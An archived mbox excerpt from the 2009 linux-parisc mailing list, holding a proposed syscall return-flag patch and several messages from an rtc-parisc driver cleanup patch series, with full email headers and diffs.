backwards compatible solution (e.g. new glibc on old kernel and vice versa).

Opinions?
(I'd post/add the necessary glibc patches of course as well if you think we should
add this feature to the parisc port...)

Helge

diff --git a/arch/parisc/include/asm/ptrace.h b/arch/parisc/include/asm/ptrace.h
index 302f68d..81d745f 100644
--- a/arch/parisc/include/asm/ptrace.h
+++ b/arch/parisc/include/asm/ptrace.h
@@ -61,6 +61,20 @@ void user_enable_block_step(struct task_struct *task);
 #define instruction_pointer(regs)	((regs)->iaoq[0] & ~3)
 unsigned long profile_pc(struct pt_regs *);
 extern void show_regs(struct pt_regs *);
+
+  /*
+   * System call handlers that, upon successful completion, need to return a negative value
+   * should call force_successful_syscall_return() right before returning.  On architectures
+   * where the syscall convention provides for a separate error flag (e.g., alpha, ia64,
+   * ppc{,64}, sparc{,64}, possibly others), this macro can be used to ensure that the error
+   * flag will not get set.  On architectures which do not support a separate error flag,
+   * the macro is a no-op and the spurious error condition needs to be filtered out by some
+   * other means (e.g., in user-level, by passing an extra argument to the syscall handler,
+   * or something along those lines).
+   *
+   * On parisc, we set the highest bit in the syscall function call number (r20).
+   */
+# define force_successful_syscall_return()	(current->thread.regs.gr[20] |= 0x80000000)
 #endif
 
 #endif
diff --git a/arch/parisc/include/asm/unistd.h b/arch/parisc/include/asm/unistd.h
index ef26b00..62de2ee 100644
--- a/arch/parisc/include/asm/unistd.h
+++ b/arch/parisc/include/asm/unistd.h
@@ -852,14 +852,19 @@
    are treated specially. Although r19 is clobbered by the syscall
    we cannot say this because it would violate ABI, thus we say
    r4 is clobbered and use that register to save/restore r19
-   across the syscall. */
+   across the syscall.
+   On syscall entry r20 holds the syscall number. On syscall exit
+   the highest bit of r20 is set if the syscall was successful
+   even if the return value (r28) has a negative value (which
+   itself indicates an unsuccessful syscall). */
 
 #define K_CALL_CLOB_REGS "%r1", "%r2", K_USING_GR4 \
-	        	 "%r20", "%r29", "%r31"
+	        	 "%r29", "%r31"
 
 #undef K_INLINE_SYSCALL
 #define K_INLINE_SYSCALL(name, nr, args...)	({			\
 	long __sys_res;							\
+	register unsigned long __sys_syscall __asm__("r20");		\
 	{								\
 		register unsigned long __res __asm__("r28");		\
 		K_LOAD_ARGS_##nr(args)					\
@@ -867,15 +872,16 @@
 		__asm__ volatile(					\
 			K_STW_ASM_PIC					\
 			"	ble  0x100(%%sr2, %%r0)\n"		\
-			"	ldi %1, %%r20\n"			\
+			"	ldi %2, %1\n"				\
 			K_LDW_ASM_PIC					\
-			: "=r" (__res)					\
+			: "=r" (__res), "=r" (__sys_syscall)		\
 			: "i" (SYS_ify(name)) K_ASM_ARGS_##nr   	\
 			: "memory", K_CALL_CLOB_REGS K_CLOB_ARGS_##nr	\
 		);							\
 		__sys_res = (long)__res;				\
 	}								\
-	if ( (unsigned long)__sys_res >= (unsigned long)-4095 ){	\
+	if ( (__sys_syscall & 0x80000000) == 0 &&			\
+	     (unsigned long)__sys_res >= (unsigned long)-4095 ){	\
 		errno = -__sys_res;		        		\
 		__sys_res = -1;						\
 	}								\
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 0/9] rtc-parisc cleanup
Date: Thu, 15 Jan 2009 16:46:47 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <cover.1231983598.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063234 18869 80.91.229.12 (15 Jan 2009 23:47:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:14 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwn-0000Ca-Ag
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764921AbZAOXrF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764326AbZAOXrF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:05 -0500
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:36751 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1763704AbZAOXrD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:03 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id 191E7C38E;
	Thu, 15 Jan 2009 23:47:01 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id A633D24048;
	Thu, 15 Jan 2009 23:47:00 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 4ED8C39C00B;
	Thu, 15 Jan 2009 16:47:00 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id B2UzRgQDiNfa; Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 5C9B939C009;
	Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id 565423B6907; Thu, 15 Jan 2009 16:46:57 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1183
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1183>

I recently submitted an rtc-efi driver having used rtc-parisc as a
template. I received several suggestions from Alessandro Zummo and
Andrew Morton that also apply to rtc-parisc. This series merges the
relevant changes back into the rtc-parisc driver.

dann frazier (9):
  Add a missing include for linux/rtc.h
  Remove redundant locking
  remove struct parisc_rtc
  Use rtc_valid_tm() in parisc_get_time
  Use platform_driver_probe
  declare rtc_parisc_dev as static
  remove unnecessary ret variable
  remove a couple unnecessary variables
  rename p pointer to rtc

 arch/parisc/kernel/time.c |    7 +----
 drivers/rtc/rtc-parisc.c  |   56 ++++++++++++---------------------------------
 2 files changed, 17 insertions(+), 46 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:30 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 1/9] Add a missing include for linux/rtc.h
Date: Thu, 15 Jan 2009 16:46:48 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063236 18874 80.91.229.12 (15 Jan 2009 23:47:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:16 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:27 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwo-0000Ca-0I
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760580AbZAOXrH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:07 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1764326AbZAOXrG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:06 -0500
Original-Received: from g1t0028.austin.hp.com ([15.216.28.35]:14420 "EHLO
	g1t0028.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1760580AbZAOXrD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:03 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0028.austin.hp.com (Postfix) with ESMTP id 1E5A81C027;
	Thu, 15 Jan 2009 23:47:01 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id 9430224029;
	Thu, 15 Jan 2009 23:47:00 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id BA2CC39C081;
	Thu, 15 Jan 2009 16:46:59 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IYvrRZF-52Uc; Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 5D46B39C00B;
	Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id 9A0B03B6922; Thu, 15 Jan 2009 16:46:57 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1184
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1184>

Signed-off-by: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |    1 +
 1 files changed, 1 insertions(+), 0 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index c6bfa6f..319bb5d 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -7,6 +7,7 @@
 #include <linux/module.h>
 #include <linux/time.h>
 #include <linux/platform_device.h>
+#include <linux/rtc.h>
 
 #include <asm/rtc.h>
 
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 5/9] Use platform_driver_probe
Date: Thu, 15 Jan 2009 16:46:52 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <a1d5a8a954f9c5e9f014bb0ff3285b04d9aa96e4.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
 <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
 <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
 <9b29163437fb37dc4996b17bcdb41192dbc79e9a.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063239 18878 80.91.229.12 (15 Jan 2009 23:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:19 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwr-0000DQ-LT
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:30 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765577AbZAOXrK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765585AbZAOXrJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:09 -0500
Original-Received: from g1t0027.austin.hp.com ([15.216.28.34]:32486 "EHLO
	g1t0027.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765577AbZAOXrG (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:06 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0027.austin.hp.com (Postfix) with ESMTP id E0129385C6;
	Thu, 15 Jan 2009 23:47:05 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id 5F90F24029;
	Thu, 15 Jan 2009 23:47:05 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id DFB3039C094;
	Thu, 15 Jan 2009 16:47:04 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id qzU7vuzvwcRp; Thu, 15 Jan 2009 16:47:03 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id DA43039C07B;
	Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id AB2123B6926; Thu, 15 Jan 2009 16:46:57 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <9b29163437fb37dc4996b17bcdb41192dbc79e9a.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1185
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1185>

This isn't a hotpluggable device, so call platform_driver_probe
directly in parisc_rtc_init

Signed-off-by: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |   12 +++---------
 1 files changed, 3 insertions(+), 9 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index 0477cc1..a2ca07a 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -40,19 +40,14 @@ static const struct rtc_class_ops parisc_rtc_ops = {
 	.set_time = parisc_set_time,
 };
 
-static int __devinit parisc_rtc_probe(struct platform_device *dev)
+static int __init parisc_rtc_probe(struct platform_device *dev)
 {
 	struct rtc_device *p;
 
-	p = kzalloc(sizeof (*p), GFP_KERNEL);
-	if (!p)
-		return -ENOMEM;
-
 	p = rtc_device_register("rtc-parisc", &dev->dev, &parisc_rtc_ops,
 				THIS_MODULE);
 	if (IS_ERR(p)) {
 		int err = PTR_ERR(p);
-		kfree(p);
 		return err;
 	}
 
@@ -61,12 +56,11 @@ static int __devinit parisc_rtc_probe(struct platform_device *dev)
 	return 0;
 }
 
-static int __devexit parisc_rtc_remove(struct platform_device *dev)
+static int __exit parisc_rtc_remove(struct platform_device *dev)
 {
 	struct rtc_device *p = platform_get_drvdata(dev);
 
 	rtc_device_unregister(p);
-	kfree(p);
 
 	return 0;
 }
@@ -82,7 +76,7 @@ static struct platform_driver parisc_rtc_driver = {
 
 static int __init parisc_rtc_init(void)
 {
-	return platform_driver_register(&parisc_rtc_driver);
+	return platform_driver_probe(&parisc_rtc_driver, parisc_rtc_probe);
 }
 
 static void __exit parisc_rtc_fini(void)
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 2/9] Remove redundant locking
Date: Thu, 15 Jan 2009 16:46:49 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063239 18879 80.91.229.12 (15 Jan 2009 23:47:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:19 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwo-0000Ca-Qp
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1764802AbZAOXrI (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:08 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1765585AbZAOXrH
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:07 -0500
Original-Received: from g1t0026.austin.hp.com ([15.216.28.33]:36759 "EHLO
	g1t0026.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1764802AbZAOXrD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:03 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0026.austin.hp.com (Postfix) with ESMTP id AA1C0C368;
	Thu, 15 Jan 2009 23:47:02 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id 263D624029;
	Thu, 15 Jan 2009 23:47:02 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 8AB3839C00B;
	Thu, 15 Jan 2009 16:47:01 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id sJCwcchOJNEl; Thu, 15 Jan 2009 16:47:00 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 70AC339C017;
	Thu, 15 Jan 2009 16:46:58 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id C20793B6923; Thu, 15 Jan 2009 16:46:57 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1186
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1186>

The RTC subsystem proides ops locking, no need to implement our own

Signed-off-by: dann frazier <dannf@hp.com>
---
 drivers/rtc/rtc-parisc.c |   12 +-----------
 1 files changed, 1 insertions(+), 11 deletions(-)

diff --git a/drivers/rtc/rtc-parisc.c b/drivers/rtc/rtc-parisc.c
index 319bb5d..cb087ad 100644
--- a/drivers/rtc/rtc-parisc.c
+++ b/drivers/rtc/rtc-parisc.c
@@ -14,17 +14,13 @@
 /* as simple as can be, and no simpler. */
 struct parisc_rtc {
 	struct rtc_device *rtc;
-	spinlock_t lock;
 };
 
 static int parisc_get_time(struct device *dev, struct rtc_time *tm)
 {
-	struct parisc_rtc *p = dev_get_drvdata(dev);
-	unsigned long flags, ret;
+	unsigned long ret;
 
-	spin_lock_irqsave(&p->lock, flags);
 	ret = get_rtc_time(tm);
-	spin_unlock_irqrestore(&p->lock, flags);
 
 	if (ret & RTC_BATT_BAD)
 		return -EOPNOTSUPP;
@@ -34,13 +30,9 @@ static int parisc_get_time(struct device *dev, struct rtc_time *tm)
 
 static int parisc_set_time(struct device *dev, struct rtc_time *tm)
 {
-	struct parisc_rtc *p = dev_get_drvdata(dev);
-	unsigned long flags;
 	int ret;
 
-	spin_lock_irqsave(&p->lock, flags);
 	ret = set_rtc_time(tm);
-	spin_unlock_irqrestore(&p->lock, flags);
 
 	if (ret < 0)
 		return -EOPNOTSUPP;
@@ -61,8 +53,6 @@ static int __devinit parisc_rtc_probe(struct platform_device *dev)
 	if (!p)
 		return -ENOMEM;
 
-	spin_lock_init(&p->lock);

From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 6/9] declare rtc_parisc_dev as static
Date: Thu, 15 Jan 2009 16:46:53 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <8c4b31bbd7552995774e6b94db365d1f4b04f226.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
 <0c29db565874aae3a60172ad42635fb8f60e8369.1231983599.git.dannf@hp.com>
 <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
 <9b29163437fb37dc4996b17bcdb41192dbc79e9a.1231983599.git.dannf@hp.com>
 <a1d5a8a954f9c5e9f014bb0ff3285b04d9aa96e4.1231983599.git.dannf@hp.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1232063241 18888 80.91.229.12 (15 Jan 2009 23:47:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 15 Jan 2009 23:47:21 +0000 (UTC)
Cc: lkml@vger.kernel.org, kyle@mcmartin.ca, dann frazier <dannf@hp.com>
To: linux-parisc@vger.kernel.org, rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 16 00:48:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LNbwu-0000DQ-0M
	for glpp-linux-parisc@gmane.org; Fri, 16 Jan 2009 00:48:32 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1765715AbZAOXrM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 15 Jan 2009 18:47:12 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757450AbZAOXrM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 15 Jan 2009 18:47:12 -0500
Original-Received: from g1t0027.austin.hp.com ([15.216.28.34]:32498 "EHLO
	g1t0027.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1765185AbZAOXrH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 15 Jan 2009 18:47:07 -0500
Original-Received: from g5t0030.atlanta.hp.com (g5t0030.atlanta.hp.com [16.228.8.142])
	by g1t0027.austin.hp.com (Postfix) with ESMTP id 10564385E2;
	Thu, 15 Jan 2009 23:47:07 +0000 (UTC)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by g5t0030.atlanta.hp.com (Postfix) with ESMTP id B11E924033;
	Thu, 15 Jan 2009 23:47:06 +0000 (UTC)
Original-Received: from localhost (ldl.fc.hp.com [127.0.0.1])
	by ldl.fc.hp.com (Postfix) with ESMTP id 5164439C043;
	Thu, 15 Jan 2009 16:47:06 -0700 (MST)
X-Virus-Scanned: Debian amavisd-new at ldl.fc.hp.com
Original-Received: from ldl.fc.hp.com ([127.0.0.1])
	by localhost (ldl.fc.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GuKKk1RHuDas; Thu, 15 Jan 2009 16:47:05 -0700 (MST)
Original-Received: from krebs (krebs.dannf [10.8.0.7])
	by ldl.fc.hp.com (Postfix) with ESMTP id 0568A39C07C;
	Thu, 15 Jan 2009 16:46:59 -0700 (MST)
Original-Received: by krebs (Postfix, from userid 20800)
	id C7C7D3B6907; Thu, 15 Jan 2009 16:46:57 -0700 (MST)
X-Mailer: git-send-email 1.5.6.5
In-Reply-To: <a1d5a8a954f9c5e9f014bb0ff3285b04d9aa96e4.1231983599.git.dannf@hp.com>
In-Reply-To: <cover.1231983598.git.dannf@hp.com>
Original-References: <cover.1231983598.git.dannf@hp.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1187
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1187>


Signed-off-by: dann frazier <dannf@hp.com>
---
 arch/parisc/kernel/time.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 9d46c43..a479d08 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -216,7 +216,7 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
-struct platform_device rtc_parisc_dev = {
+static struct platform_device rtc_parisc_dev = {
 	.name = "rtc-parisc",
 	.id = -1,
 };
-- 
1.5.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 3/9] remove struct parisc_rtc
Date: Thu, 15 Jan 2009 16:46:50 -0700
Lines: 66
Approved: news@gmane.org
Message-ID: <0c2b8df6ecd123038e8458eeb9924b7959a707fa.1231983599.git.dannf@hp.com>
References: <cover.1231983598.git.dannf@hp.com>
 <5bda6a81bf9fa4a3b60253bca73ef629a6ccc629.1231983599.git.dannf@hp.com>
